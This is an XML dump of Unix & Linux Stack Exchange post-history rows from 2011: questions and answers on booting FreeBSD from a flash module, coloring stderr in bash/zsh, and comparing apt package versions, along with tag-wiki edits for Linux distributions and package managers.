  <row Id="30424" PostHistoryTypeId="5" PostId="12065" RevisionGUID="35dc32ce-edef-47b3-b18e-1eedc16f3ea7" CreationDate="2011-05-01T19:59:51.670" UserId="6968" Comment="Added more information to the question to help tracking the error" Text="I've installed FreeBSD on an Intel SS4200-EHW which has four hard disks and a flash DOM (Disk On Module) disk through an IDE interface. I want to install FreeBSD on the Flash DOM. In order to get the FreeBSD installer to find the Flash DOM, I've used the hints from [here][1] - by adding the following &quot;hints&quot; before &quot;booting&quot; the installer:&#xD;&#xA;&#xD;&#xA;    set hint.ata.0.at=&quot;isa&quot;&#xD;&#xA;    set hint.ata.0.port=&quot;0x1F0&quot;&#xD;&#xA;    set hint.ata.0.irq=&quot;14&quot;&#xD;&#xA;&#xD;&#xA;The installer finds the correct disk and installs without any issues. I also made sure the disk/partition is set with the bootable flag. &#xD;&#xA;&#xD;&#xA;When I boot from the Flash DOM, I get the following error message: &quot;No ufs&quot; and end up with a prompt starting with &quot;boot:&quot;.&#xD;&#xA;&#xD;&#xA;Not sure why this is. Might be that I wasn't able to persist the hint information to any configurations files during the install. Anyone knowing how I can ensure that this get persisted. Any other way to get further to diagnose this issue?&#xD;&#xA;&#xD;&#xA;**Update**&#xD;&#xA;Based on feedback I've included the boot image I am stranded at:![Boot screen image][2]&#xD;&#xA;&#xD;&#xA;The &quot;tab&quot; key doesn't work. &#xD;&#xA;&#xD;&#xA;Also I booted PC-BSD to try to edit the files from there and I'm able to mount all other partitions except the boot partition. The image below shows error message when trying to access the MBR partition:&#xD;&#xA;![PC-BSD file browser which shows mounted partitions and the failed partition][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ss4200.pbworks.com/w/page/5122750/FreeNAS-0_70&#xD;&#xA;  [2]: http://i.imgur.com/wrO9A.jpg&#xD;&#xA;  [3]: http://i.imgur.com/Ph0OP.png" />
  <row Id="30425" PostHistoryTypeId="5" PostId="12426" RevisionGUID="b51e6d6b-bbaf-4b0c-a38f-43014dc7fc91" CreationDate="2011-05-01T20:05:19.760" UserId="4787" Comment="added 126 characters in body" Text="Gentoo is a special flavor of Linux that can be automatically optimized and customized for just about any application or need." />
  <row Id="30426" PostHistoryTypeId="24" PostId="12426" RevisionGUID="b51e6d6b-bbaf-4b0c-a38f-43014dc7fc91" CreationDate="2011-05-01T20:05:19.760" Comment="Proposed by 4787 approved by -1 edit id of 345" />
  <row Id="30427" PostHistoryTypeId="5" PostId="12426" RevisionGUID="e3be9259-5796-439d-a367-5babb9209c5d" CreationDate="2011-05-01T20:05:20.477" UserId="885" Comment="more neutral tone" Text="Gentoo is a Linux distribution designed to be automatically optimized and customized according to the user's need." />
  <row Id="30428" PostHistoryTypeId="5" PostId="12425" RevisionGUID="42c957ad-ad3c-4cb2-b7fa-2d4ffcd8c11c" CreationDate="2011-05-01T20:14:00.917" UserId="4787" Comment="added 362 characters in body" Text="**Gentoo** is a computer operating system built on top of the *Linux kernel* and based on the *Portage* package management system. It is distributed as free and open source software, but includes some proprietary software packages.&#xD;&#xA;&#xD;&#xA;Unlike a conventional software distribution, the user compiles the source code locally according to their chosen configuration." />
  <row Id="30429" PostHistoryTypeId="24" PostId="12425" RevisionGUID="42c957ad-ad3c-4cb2-b7fa-2d4ffcd8c11c" CreationDate="2011-05-01T20:14:00.917" Comment="Proposed by 4787 approved by -1 edit id of 344" />
  <row Id="30430" PostHistoryTypeId="5" PostId="12425" RevisionGUID="468d6d47-c42a-4cae-9d95-98d42f393ac5" CreationDate="2011-05-01T20:14:01.743" UserId="885" Comment="added some information, followed the structure of the tag wikis for `arch-linux`, `debian` and `ubuntu`" Text="[Gentoo](http://www.gentoo.org/) is a computer operating system built on top of the [Linux kernel](http://en.wikipedia.org/wiki/Linux) and based on the [Portage](http://en.wikipedia.org/wiki/Portage_%28software%29) package management system. It is distributed as free and open source software, but includes some proprietary software packages.&#xD;&#xA;&#xD;&#xA;### Philosophy&#xD;&#xA;&#xD;&#xA;Unlike a conventional software distribution, the user compiles the source code locally according to their chosen configuration.&#xD;&#xA;&#xD;&#xA;### Releases&#xD;&#xA;&#xD;&#xA;Gentoo is based on a [rolling release](http://en.wikipedia.org/wiki/Rolling_release) principle: once installed, a system can be upgraded package by package. Although Gentoo releases originally existed in the form of installation media, since 2008, installation media are regenerated every week.&#xD;&#xA;&#xD;&#xA;### Documentation&#xD;&#xA;&#xD;&#xA;* [FAQ](http://www.gentoo.org/doc/en/?catid=faq)&#xD;&#xA;* [Handbook](http://www.gentoo.org/doc/en/handbook/)&#xD;&#xA;* [Installation documents](http://www.gentoo.org/doc/en/?catid=install#doc_chap2)&#xD;&#xA;* [Documentation list](http://www.gentoo.org/doc/en/list.xml?desc=1)&#xD;&#xA;" />
  <row Id="30434" PostHistoryTypeId="5" PostId="7987" RevisionGUID="4731113e-8551-4d14-a299-ee9d93843484" CreationDate="2011-05-01T20:36:26.787" UserId="885" Comment="filled up a little content, following the format of `arch-linux`, `debian` and `ubuntu`" Text="[Fedora](http://fedoraproject.org/) is a community-maintained Linux distribution aiming to be at the leading edge of free software. It is sponsored by [Red Hat, Inc.](http://en.wikipedia.org/wiki/Red_Hat) through the [Fedora Project](http://en.wikipedia.org/wiki/Fedora_Project) as a community complement of their own [Red Hat Enterprise Linux](http://en.wikipedia.org/wiki/Red_Hat_Enterprise_Linux).&#xD;&#xA;&#xD;&#xA;### Philosophy&#xD;&#xA;&#xD;&#xA;The [core values of Fedora](http://fedoraproject.org/en/about-fedora#foundations) are software freedom, community involvement, technical innovation and rapid diffusion.&#xD;&#xA;&#xD;&#xA;### Releases&#xD;&#xA;&#xD;&#xA;Fedora releases a new version twice a year.&#xD;&#xA;&#xD;&#xA;### Documentation&#xD;&#xA;&#xD;&#xA;* [Documentation portal](http://docs.fedoraproject.org/)&#xD;&#xA;* [Wiki](https://fedoraproject.org/wiki/)&#xD;&#xA;" />
  <row Id="30435" PostHistoryTypeId="5" PostId="7988" RevisionGUID="e64543a9-08d3-4c16-bbeb-3b1bd71c40ab" CreationDate="2011-05-01T20:36:26.817" UserId="885" Comment="filled up a little content, following the format of `arch-linux`, `debian` and `ubuntu`" Text="Fedora is a Linux distribution with a fast release cycle, maintained by a community and sponsored by Red Hat." />
  <row Id="30436" PostHistoryTypeId="2" PostId="12429" RevisionGUID="df50e45f-96d8-40ca-b448-cae1d36cbb0f" CreationDate="2011-05-01T20:41:46.500" UserId="6968" Text="By choosing to install FreeBSD with a boot manager instead of making the Flash DOM / (root) partition a MBR partition, I was able to boot the SS4200 box. &#xD;&#xA;&#xD;&#xA;To get FreeBSD up and running I had to go into the boot loader prompt to add the hints before booting FreeBSD and then I just modified the device.hints file. A reboot after this change made the SS4200 boot without any issues." />
  <row Id="30437" PostHistoryTypeId="5" PostId="8083" RevisionGUID="5150c423-e5db-430d-be23-0538a603ea32" CreationDate="2011-05-01T20:42:47.340" UserId="885" Comment="filled up a little content, following the format of `arch-linux`, `debian` and `ubuntu`" Text="[Red Hat Enterprise Linux](http://www.redhat.com/rhel/) is a Linux distribution targeted towards the commercial market. It is one of the successors of [Red Hat Linux](http://en.wikipedia.org/wiki/Red_Hat_Linux), together with the community-maintained [Fedora](http://en.wikipedia.org/wiki/Fedora_%28operating_system%29).&#xD;&#xA;&#xD;&#xA;### Philosophy&#xD;&#xA;&#xD;&#xA;[Red Hat Enterprise Linux](http://en.wikipedia.org/wiki/Red_Hat_Enterprise_Linux) is commercially supported by Red Hat and aimed mainly at the enterprise market. It has a conservative release cycle.&#xD;&#xA;&#xD;&#xA;### Documentation&#xD;&#xA;&#xD;&#xA;* [Resource Center](http://www.redhat.com/rhel/resource_center/)&#xD;&#xA;" />
  <row Id="30438" PostHistoryTypeId="5" PostId="8084" RevisionGUID="61cc2135-dfc4-4357-8da9-7b08810e643e" CreationDate="2011-05-01T20:42:47.357" UserId="885" Comment="filled up a little content, following the format of `arch-linux`, `debian` and `ubuntu`" Text="Red Hat Enterprise Linux (RHEL) is a commercially supported Linux distribution." />
  <row Id="30440" PostHistoryTypeId="5" PostId="12382" RevisionGUID="c0dd7997-aca6-4345-bee8-05275f72bd5d" CreationDate="2011-05-01T20:57:41.830" UserId="2847" Comment="reason for v4l-utils; added 1 characters in body" Text="I have the same remote and I have it sending correct keycodes to my 2.6.38-gentoo-r3 kernel. I did not compile keycodes as a module, because they probably haven't had time to make it possible to select individual keymaps yet. It's all or nothing and I don't like a gazillion useless modules cluttering me. Instead I'm letting v4l-utils handle it with udev. &#xD;&#xA;&#xD;&#xA;Couple of things I learned:&#xD;&#xA;&#xD;&#xA; * Check output of ir-keytable -r, it should list [all the keycodes applicable](http://git.linuxtv.org/v4l-utils.git?a=blob;f=utils/keytable/rc_keymaps/imon_pad) to your remote.&#xD;&#xA; * Load the keytable manually: ir-keytable -c -w bleh/keymaps/imon_pad, after which ir-keytable -r should give you the table back&#xD;&#xA; * You might actually have a faulty receiver, you mention nothing about history. I remember seeing at least one message on [lirc-list](http://old.nabble.com/LIRC-f2054.html) where guy said sending the case back and getting a new one solved his issues.&#xD;&#xA;&#xD;&#xA;Let us know how it went." />
  <row Id="30441" PostHistoryTypeId="2" PostId="12430" RevisionGUID="575399e3-9536-42ef-97d1-2450691ab931" CreationDate="2011-05-01T21:05:14.723" UserId="2847" Text="Yeah, asking for your kernel configuration was my first thought as well, not creating device or sysfs nodes is usually simply a missing driver. You can pretty safely kill off the SYSFS_DEPRECATED + ...V2 and make sure you have the matching SFF drivers from below the SATA AHCI part selected for your PATA setup. Last I remember all the driver names were pretty similar to good ol CONFIG_IDE.&#xD;&#xA;&#xD;&#xA;You could just make another non-default menuentry in your grub for the new kernel for testing." />
  <row Id="30446" PostHistoryTypeId="5" PostId="4715" RevisionGUID="6f5a63fd-2a2d-4da8-8fa3-d375200b209a" CreationDate="2011-05-01T21:20:19.213" UserId="885" Comment="replaced copy-pasted block of text by a short description; added related tags (KDE software)" Text="The [KDE](http://www.kde.org/) Software Compilation is a set of free, open source applications based on common tools and designs. At the heart of it is the [Plasma Desktop](http://en.wikipedia.org/wiki/KDE_Plasma_Workspaces), the successor of the K Desktop Environment that gave KDE its name. KDE is based on the [Qt framework](http://en.wikipedia.org/wiki/Qt_%28framework%29).&#xD;&#xA;&#xD;&#xA;### Some KDE software&#xD;&#xA;&#xD;&#xA;* [tag:amarok] Amarok media player&#xD;&#xA;* [tag:kate] Kate (K Advanced Text Editor)&#xD;&#xA;* [tag:kdewallet] KWallet (KDE Wallet) password manager&#xD;&#xA;* [tag:kdm] KDM (KDE Display Manager)&#xD;&#xA;* [tag:kile] Kile (KDE Integrated LaTeX Environment), an IDE for LaTeX&#xD;&#xA;* [tag:konqueror] Konqueror web broswer, file manager and document viewer&#xD;&#xA;* [tag:konsole] Konsole terminal emulator&#xD;&#xA;* [tag:kopete] Kopete chat client&#xD;&#xA;* [tag:krusader] Krusader twin-panel file manager&#xD;&#xA;* [tag:kwin] KWin window manager&#xD;&#xA;* [tag:plasma] Plasma Desktop manager&#xD;&#xA;    * [tag:kde-activities] [Activities](http://userbase.kde.org/Plasma#Activities) are groups of widgets and windows&#xD;&#xA;" />
  <row Id="30447" PostHistoryTypeId="5" PostId="4716" RevisionGUID="c3df7473-3404-4073-aa54-7355e9b957b5" CreationDate="2011-05-01T21:20:19.243" UserId="885" Comment="replaced copy-pasted block of text by a short description; added related tags (KDE software)" Text="KDE is a desktop environment and software compilation" />
  <row Id="30449" PostHistoryTypeId="2" PostId="12433" RevisionGUID="a4d3069b-bb92-4353-9f70-2c2678c9ad13" CreationDate="2011-05-01T21:39:40.263" UserId="688" Text="Silly me, I've been seating on a script that makes this far faster and easier:&#xD;&#xA;&#xD;&#xA;    &lt;!-- language: python --&gt;&#xD;&#xA;    #!/usr/bin/python3&#xD;&#xA;    import os&#xD;&#xA;    import gzip&#xD;&#xA;    import apt_pkg&#xD;&#xA;&#xD;&#xA;    repo1 = &quot;~/.repo_local/dists/cache/main/binary-i386/Packages.gz&quot;&#xD;&#xA;    repo1 = os.path.expanduser(repo1)&#xD;&#xA;    repo1 = apt_pkg.TagFile(gzip.open(repo1, &quot;rb&quot;))&#xD;&#xA;    repo1 = dict([(pkg[&quot;Package&quot;], pkg[&quot;Version&quot;]) for pkg in repo1])&#xD;&#xA;&#xD;&#xA;    repo2 = &quot;~/.repo_bin/dists/squeeze/main/binary-i386/Packages.gz&quot;&#xD;&#xA;    repo2 = os.path.expanduser(repo2)&#xD;&#xA;    repo2 = apt_pkg.TagFile(gzip.open(repo2, &quot;rb&quot;))&#xD;&#xA;    repo2 = dict([(pkg[&quot;Package&quot;], pkg[&quot;Version&quot;]) for pkg in repo2])&#xD;&#xA;&#xD;&#xA;    apt_pkg.init_system()&#xD;&#xA;    found = False&#xD;&#xA;    for pkg in repo1:&#xD;&#xA;        if pkg in repo2:&#xD;&#xA;            vc = apt_pkg.version_compare(repo1[pkg], repo2[pkg])&#xD;&#xA;            if vc == 0:&#xD;&#xA;                print(&quot;{:&lt;30}{:&lt;30}({})&quot;.format(repo1[pkg], repo2[pkg], pkg))&#xD;&#xA;                found = True&#xD;&#xA;&#xD;&#xA;    if found:&#xD;&#xA;        print(&quot;=&quot; * 90)&#xD;&#xA;        print(&quot;{:&lt;30}{:&lt;30}({})&quot;.format(&quot;custom&quot;, &quot;official&quot;, &quot;package name&quot;))&#xD;&#xA;    else:&#xD;&#xA;        print(&quot;nothing matching search criteria found&quot;)&#xD;&#xA;" />
  <row Id="30450" PostHistoryTypeId="2" PostId="12434" RevisionGUID="34f0ece9-3068-40b9-9a17-b9c1fc426de6" CreationDate="2011-05-01T21:42:14.897" UserId="6912" Text="If you want to stick with portupgrade, &quot;portupgrade --all&quot; will upgrade all ports that have newer versions available.  The &quot;--force&quot; flag can be used to force a re-install or downgrade of a specified port if you know it's broken.&#xD;&#xA;&#xD;&#xA;You can get a list of the current versions of your installed ports and whether newer versions are available in your ports tree with &quot;portversion --fullname --verbose&quot;.&#xD;&#xA;&#xD;&#xA;I don't know of a tool that automatically detects partially installed ports." />
  <row Id="30451" PostHistoryTypeId="6" PostId="634" RevisionGUID="236df1b3-0733-4092-830e-7f5d0cef9d24" CreationDate="2011-05-01T21:44:00.103" UserId="885" Comment="edited tags" Text="érpmàépackagingàédpkgà" />
  <row Id="30452" PostHistoryTypeId="6" PostId="12157" RevisionGUID="d2a87fc7-df3d-46ff-a52c-ecaa74d8e51c" CreationDate="2011-05-01T21:44:18.560" UserId="885" Comment="edited tags" Text="éubuntuàéinstallàépackageömanagementàémysqlà" />
  <row Id="30453" PostHistoryTypeId="5" PostId="12433" RevisionGUID="e6568a9f-70ef-4ed4-a184-94daf9ec4d4e" CreationDate="2011-05-01T21:45:17.050" UserId="688" Comment="deleted 6 characters in body; added 7 characters in body; added 2 characters in body; added 684 characters in body; deleted 682 characters in body" Text="Silly me, I've been seating on a script that makes this far faster and easier:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-py --&gt;&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/python3&#xD;&#xA;&#xD;&#xA;    import os&#xD;&#xA;    import gzip&#xD;&#xA;    import apt_pkg&#xD;&#xA;&#xD;&#xA;    repo1 = &quot;~/.repo_local/dists/cache/main/binary-i386/Packages.gz&quot;&#xD;&#xA;    repo1 = os.path.expanduser(repo1)&#xD;&#xA;    repo1 = apt_pkg.TagFile(gzip.open(repo1, &quot;rb&quot;))&#xD;&#xA;    repo1 = dict([(pkg[&quot;Package&quot;], pkg[&quot;Version&quot;]) for pkg in repo1])&#xD;&#xA;&#xD;&#xA;    repo2 = &quot;~/.repo_bin/dists/squeeze/main/binary-i386/Packages.gz&quot;&#xD;&#xA;    repo2 = os.path.expanduser(repo2)&#xD;&#xA;    repo2 = apt_pkg.TagFile(gzip.open(repo2, &quot;rb&quot;))&#xD;&#xA;    repo2 = dict([(pkg[&quot;Package&quot;], pkg[&quot;Version&quot;]) for pkg in repo2])&#xD;&#xA;&#xD;&#xA;    apt_pkg.init_system()&#xD;&#xA;    found = False&#xD;&#xA;&#xD;&#xA;    for pkg in repo1:&#xD;&#xA;        if pkg in repo2:&#xD;&#xA;            vc = apt_pkg.version_compare(repo1[pkg], repo2[pkg])&#xD;&#xA;            if vc == 0:&#xD;&#xA;                print(&quot;{:&lt;30}{:&lt;30}({})&quot;.format(repo1[pkg], repo2[pkg], pkg))&#xD;&#xA;                found = True&#xD;&#xA;&#xD;&#xA;    if found:&#xD;&#xA;        print(&quot;=&quot; * 90)&#xD;&#xA;        print(&quot;{:&lt;30}{:&lt;30}({})&quot;.format(&quot;custom&quot;, &quot;official&quot;, &quot;package name&quot;))&#xD;&#xA;    else:&#xD;&#xA;        print(&quot;nothing matching search criteria found&quot;)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="30454" PostHistoryTypeId="2" PostId="12435" RevisionGUID="7a477aca-46e4-4263-a00e-501ebbabfa65" CreationDate="2011-05-01T21:46:01.193" UserId="7129" Text="possibly one way is to upgrade to mutter 3.0&#xD;&#xA;&#xD;&#xA;To do this, you first have to add debian experimental repositories. Open /etc/apt/sources.list as su and add&#xD;&#xA;&#xD;&#xA;    # Experimental (just when explicitly demanded)&#xD;&#xA;    deb http://ftp.at.debian.org/debian/ experimental main contrib non-free&#xD;&#xA;    deb-src http://ftp.at.debian.org/debian/ experimental main contrib non-free&#xD;&#xA;&#xD;&#xA;The next step is very important. Open /etc/apt/apt.conf as su and make sure it contains this line&#xD;&#xA;&#xD;&#xA;    APT::Default-Release &quot;&lt;your release&gt;&quot;; # (your release could be &quot;testing&quot; for example)&#xD;&#xA;&#xD;&#xA;If you miss this step, your system would probably change to debian experimental.&#xD;&#xA;&#xD;&#xA;Now update your repository information&#xD;&#xA;&#xD;&#xA;    apt-get update&#xD;&#xA;&#xD;&#xA;and install mutter from experimental&#xD;&#xA;&#xD;&#xA;    apt-get -t experimental install mutter&#xD;&#xA;&#xD;&#xA;On my notebook the experimental mutter didn't cause any problems until now...&#xD;&#xA;&#xD;&#xA;Maybe you would also like to read section 3.8 of [this document][1] before you make delicate changes on your system.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.debian.org/doc/manuals/apt-howto/ch-apt-get.en.html" />
  <row Id="30455" PostHistoryTypeId="2" PostId="12436" RevisionGUID="da7bb282-3be8-49b3-9e29-0667c58c8d80" CreationDate="2011-05-01T21:52:28.863" UserId="6451" Text="Please check figure 2 in this page:&#xD;&#xA;&#xD;&#xA;[http://blog.mon.itor.us/?p=286][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Why netBSD is the most stable OS here?" />
  <row Id="30456" PostHistoryTypeId="1" PostId="12436" RevisionGUID="da7bb282-3be8-49b3-9e29-0667c58c8d80" CreationDate="2011-05-01T21:52:28.863" UserId="6451" Text="Why netBSD is the most stable OS here?" />
  <row Id="30457" PostHistoryTypeId="3" PostId="12436" RevisionGUID="da7bb282-3be8-49b3-9e29-0667c58c8d80" CreationDate="2011-05-01T21:52:28.863" UserId="6451" Text="élinuxàénetbsdà" />
  <row Id="30458" PostHistoryTypeId="5" PostId="12436" RevisionGUID="8bd123b7-e1b6-4e1b-ad8a-2f9d285d1757" CreationDate="2011-05-01T22:06:01.093" UserId="688" Comment="deleted 27 characters in body; deleted 3 characters in body; added 67 characters in body; added 22 characters in body; edited body" Text="Please check figure 2 in this page: Linux versus Windows: [Linux versus Windows: OS impact on uptime and speed][1].&#xD;&#xA;&#xD;&#xA;[1]:http://blog.mon.itor.us/?p=286&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Why is NetBSD the most stable OS here?" />
  <row Id="30459" PostHistoryTypeId="6" PostId="30" RevisionGUID="273a2db0-ef3a-4a7b-bebe-e48138d08799" CreationDate="2011-05-01T22:19:19.403" UserId="885" Comment="edited tags" Text="épackageömanagementàécompilingàésoftwareöinstallationàédirectoryöstructureàéfhsà" />
  <row Id="30460" PostHistoryTypeId="6" PostId="2787" RevisionGUID="ab26c269-5e98-48e4-9ea9-d44b499c5857" CreationDate="2011-05-01T22:23:09.743" UserId="885" Comment="edited tags" Text="ésoftwareörecàésoftwareöinstallationàésearchà" />
  <row Id="30461" PostHistoryTypeId="2" PostId="12437" RevisionGUID="51599ef6-fc05-425e-bdf9-234cd162f7fa" CreationDate="2011-05-01T22:23:50.210" UserId="885" Text="Most unix variants come with tools to install software packages, list installed packages, upgrade them, remove them and other maintenance tasks. Many variants have two sets of tools:&#xD;&#xA;&#xD;&#xA;* a low-level tool for maintaining the packages installed on a machine (install a package file, list the files belonging to an installed package, list the installed packages, …);&#xD;&#xA;* a high-level tool for downloading new or upgraded packages (download and install a package and its dependencies, upgrade all packages, …).&#xD;&#xA;&#xD;&#xA;### Package management tools&#xD;&#xA;&#xD;&#xA;* [tag:apt] APT, the [tag:debian] Debian high-level package management suite, over Dpkg (and ported to other low-level packagers), also used by other distributions such as [tag:ubuntu] Ubuntu&#xD;&#xA;    * [tag:aptitude] An APT-based package manager with both a command line and a full-screen text mode interface&#xD;&#xA;* [tag:dpkg] The [tag:debian] Debian low-level package manager, also used by other distributions such as [tag:ubuntu] Ubuntu&#xD;&#xA;* [tag:rpm] A low-level package manager originally developped by Red Hat, now used by many distributions including [tag:rhel] Red Hat Enterprise Linux, [tag:centos] CentOS, [tag:fedora] Fedora, [tag:suse] SuSE, …&#xD;&#xA;* [tag:yast] YaST, the [tag:suse] setup tool, includes the functionality of high-level package management tools&#xD;&#xA;* [tag:yum] A high-level package manager over RPM, originally from Yellowdog Linux, used by many RPM-based distributions including [tag:rhel] Red Hat Enterprise Linux, [tag:centos] CentOS and [tag:fedora] Fedora&#xD;&#xA;* [tag:zypper] Zypper, the SuSE high-level command-line packaging tool, and the underlying engine ZYpp&#xD;&#xA;&#xD;&#xA;### Other related tags&#xD;&#xA;&#xD;&#xA;* [tag:compiling] when you're building from source&#xD;&#xA;* [tag:software-installation] general software installation issues&#xD;&#xA;&#xD;&#xA;### Further reading&#xD;&#xA;&#xD;&#xA;* http://unix.stackexchange.com/questions/30/where-should-i-put-software-i-compile-myself&#xD;&#xA;* http://unix.stackexchange.com/questions/5535/non-root-package-managers&#xD;&#xA;* http://unix.stackexchange.com/questions/11570/which-is-the-best-practice-when-replacing-a-system-binary&#xD;&#xA;" />
  <row Id="30462" PostHistoryTypeId="2" PostId="12438" RevisionGUID="3f33c01a-fcee-4738-b813-021dc7c16efd" CreationDate="2011-05-01T22:23:50.210" UserId="885" Text="tools for installing and maintaining software packages" />
  <row Id="30463" PostHistoryTypeId="2" PostId="12439" RevisionGUID="42356887-a6e5-40a6-a04b-d33d66971693" CreationDate="2011-05-01T22:59:13.800" UserId="5614" Text="I'd like to set up my terminal to have `STDOUT` print regularly, but have `STDERR` print out in a different color, namely red, so I can tell the difference between the two, ie:&#xD;&#xA;&#xD;&#xA;STDOUT: `HELLO WORLD`&#xD;&#xA;&#xD;&#xA;STDERR: **`HELLO WORLD`**&#xD;&#xA;&#xD;&#xA;Is there a way to configure this in `.bashrc`? If not, is this even possible?" />
  <row Id="30464" PostHistoryTypeId="1" PostId="12439" RevisionGUID="42356887-a6e5-40a6-a04b-d33d66971693" CreationDate="2011-05-01T22:59:13.800" UserId="5614" Text="Is it possible to configure Bash so that STDERR can be a different color than STDOUT?" />
  <row Id="30465" PostHistoryTypeId="3" PostId="12439" RevisionGUID="42356887-a6e5-40a6-a04b-d33d66971693" CreationDate="2011-05-01T22:59:13.800" UserId="5614" Text="ébashà" />
  <row Id="30470" PostHistoryTypeId="2" PostId="12440" RevisionGUID="b5c323d7-5ce4-4e15-afbe-0b1a3fba0cf3" CreationDate="2011-05-01T23:50:58.633" UserId="885" Text="This is a harder version of http://unix.stackexchange.com/questions/9646/show-only-stderr-on-screen-but-write-both-stdout-and-stderr-to-file.&#xD;&#xA;&#xD;&#xA;The applications running in the terminal use a single channel to communicate with it; the applications have two output ports, stdout and stderr, but they're both connected to the same channel.&#xD;&#xA;&#xD;&#xA;You can connect one of them to a different channel, add color to that channel, and merge the two channels, but this will cause two problems:&#xD;&#xA;&#xD;&#xA;* The merged output may not be exactly in the same order as if there had been no redirection. This is because the added processing on one of the channel takes (a little) time, so the colored channel may be delayed. If any buffering is done, the disorder will be worse.&#xD;&#xA;* Terminals use color changing escape sequences to determine the display color, e.g. `␛[31m` means “switch to red foreground”. This means that if some output destined to stdout arrives just as some output for stderr is being displayed, the output will be miscolored. (Even worse, if there's a channel switch in the middle of an escape sequence, you'll see garbage.)&#xD;&#xA;&#xD;&#xA;In principle, it would be possible to write a program that listens on two ptys¹, synchronously (i.e. won't accept input on one channel while it's processing output on the other channel), and immediately outputs to the terminal with appropriate color changing instructions. You'd lose the ability to run programs that interact with the terminal. I don't know of any implementation of this method.&#xD;&#xA;&#xD;&#xA;Another possible approach would be to cause the program to output the proper color changing sequences, by hooking around `write` in a library loaded with [`LD_PRELOAD`](http://www.kernel.org/doc/man-pages/online/pages/man8/ld-linux.so.8.html#ENVIRONMENT). Again, I don't know of any existing implementation.&#xD;&#xA;&#xD;&#xA;In practice, if that's applicable, I suggest redirecting stderr to stdout and piping into a pattern-based colorizer such as [colortail](http://joakimandersson.se/projects/colortail/) or [multitail](http://www.vanheusden.com/multitail/), or special-purpose colorizers such as [colorgcc](http://www.console-colors.de/index.php?n=ConsColors.Downloads) or [colormake](http://bre.klaki.net/programs/colormake/).&#xD;&#xA;&#xD;&#xA;¹ &lt;sub&gt; pseudo-terminals. Pipes wouldn't work because of buffering: the source could write to the buffer, which would break the synchronicity with the colorizer. &lt;/sub&gt;&#xD;&#xA;" />
  <row Id="30471" PostHistoryTypeId="6" PostId="12439" RevisionGUID="b31eb352-e630-4bd0-94c2-68aa6281b3e9" CreationDate="2011-05-01T23:51:20.740" UserId="885" Comment="edited tags" Text="ébashàéterminalàécolorsà" />
  <row Id="30472" PostHistoryTypeId="6" PostId="5711" RevisionGUID="82c800f7-bd37-4336-8aa4-9921a5bdccc5" CreationDate="2011-05-01T23:58:13.493" UserId="885" Comment="edited tags" Text="éfilesystemsàédirectoryàédirectoryöstructureà" />
  <row Id="30473" PostHistoryTypeId="6" PostId="4707" RevisionGUID="d1d09368-bfe6-4fe7-8db2-7bad9e9520c9" CreationDate="2011-05-02T00:00:21.183" UserId="885" Comment="edited tags" Text="élinuxàédisköusageàésmallödistributionàéstripàékioskà" />
  <row Id="30474" PostHistoryTypeId="25" PostId="12439" RevisionGUID="f408928e-052f-4b8f-a868-77c0dcca5897" CreationDate="2011-05-02T00:11:19.747" Comment="http://twitter.com/#!/StackUnix/status/64844380527263744" />
  <row Id="30475" PostHistoryTypeId="2" PostId="12441" RevisionGUID="69a8e151-85a1-4bf7-9066-29e2e83e39f2" CreationDate="2011-05-02T00:19:37.113" UserId="3169" Text="Here's a proof of concept I did a while back.&#xD;&#xA;&#xD;&#xA;It only works in zsh.&#xD;&#xA;&#xD;&#xA;    # make standard error red&#xD;&#xA;    rederr()&#xD;&#xA;    {&#xD;&#xA;        while read -r line&#xD;&#xA;        do&#xD;&#xA;            setcolor $errorcolor&#xD;&#xA;            echo &quot;$line&quot;&#xD;&#xA;            setcolor normal&#xD;&#xA;        done&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    errorcolor=red&#xD;&#xA;&#xD;&#xA;    errfifo=${TMPDIR:-/tmp}/errfifo.$$&#xD;&#xA;    mkfifo $errfifo&#xD;&#xA;    # to silence the line telling us what job number the background job is&#xD;&#xA;    exec 2&gt;/dev/null&#xD;&#xA;    rederr &lt;$errfifo&amp;&#xD;&#xA;    errpid=$!&#xD;&#xA;    disown %+&#xD;&#xA;    exec 2&gt;$errfifo&#xD;&#xA;&#xD;&#xA;It also assumes you have a function called setcolor.&#xD;&#xA;&#xD;&#xA;A simplified version:&#xD;&#xA;&#xD;&#xA;    setcolor()&#xD;&#xA;    {&#xD;&#xA;        case &quot;$1&quot; in&#xD;&#xA;        red)&#xD;&#xA;            tput setaf 1&#xD;&#xA;            ;;&#xD;&#xA;        normal)&#xD;&#xA;            tput sgr0&#xD;&#xA;            ;;&#xD;&#xA;        esac&#xD;&#xA;    }&#xD;&#xA;        " />
  <row Id="30476" PostHistoryTypeId="25" PostId="12421" RevisionGUID="e0ffe79f-d88e-477e-92cf-8ffc820c66d5" CreationDate="2011-05-02T03:11:19.780" Comment="http://twitter.com/#!/StackUnix/status/64889679362801664" />
  <row Id="30477" PostHistoryTypeId="2" PostId="12442" RevisionGUID="38ca7802-f058-4bf8-9864-de27007e3bdd" CreationDate="2011-05-02T04:37:36.053" UserId="6960" Text="OpenBSD 4.9 is out, yeej :) OK.&lt;br&gt;&#xD;&#xA;http://distrowatch.com/?newsid=06655&#xD;&#xA;&lt;br&gt;&#xD;&#xA;&quot;SMP kernels can now boot on machines with up to 64 cores;&quot;&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;So OpenBSD does support several CPU's/cores?? I didn't know that.&lt;br&gt;&#xD;&#xA;The question: If i have a Core2Duo cpu in my laptop (t7100) then would it bring greater performance if I use &quot;SMP&quot; kernel? If this is true, then how can I install/use an SMP kernel under OpenBSD 4.9??&lt;br&gt;&#xD;&#xA;Thank you!" />
  <row Id="30478" PostHistoryTypeId="1" PostId="12442" RevisionGUID="38ca7802-f058-4bf8-9864-de27007e3bdd" CreationDate="2011-05-02T04:37:36.053" UserId="6960" Text="OpenBSD SMP support" />
  <row Id="30479" PostHistoryTypeId="3" PostId="12442" RevisionGUID="38ca7802-f058-4bf8-9864-de27007e3bdd" CreationDate="2011-05-02T04:37:36.053" UserId="6960" Text="éopenbsdà" />
